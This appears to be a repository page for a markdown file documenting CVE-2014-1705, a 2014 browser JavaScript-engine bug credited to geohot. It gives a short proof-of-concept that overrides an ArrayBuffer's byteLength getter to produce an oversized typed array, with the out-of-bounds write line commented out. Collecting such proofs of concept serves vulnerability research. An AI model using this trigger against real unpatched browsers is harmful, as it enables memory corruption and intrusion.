Skip to content

Latest commit

 

History

History
17 lines (12 loc) · 318 Bytes

CVE-2014-1705.md

File metadata and controls

17 lines (12 loc) · 318 Bytes
Raw

CVE-2014-1705

  • Date: Mar 2014
  • Credit: geohot

PoC

var ab = new ArrayBuffer(8);
ab.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; });
var aaa = new Uint32Array(ab);
// aaa[0x1234567] = 1;

Reference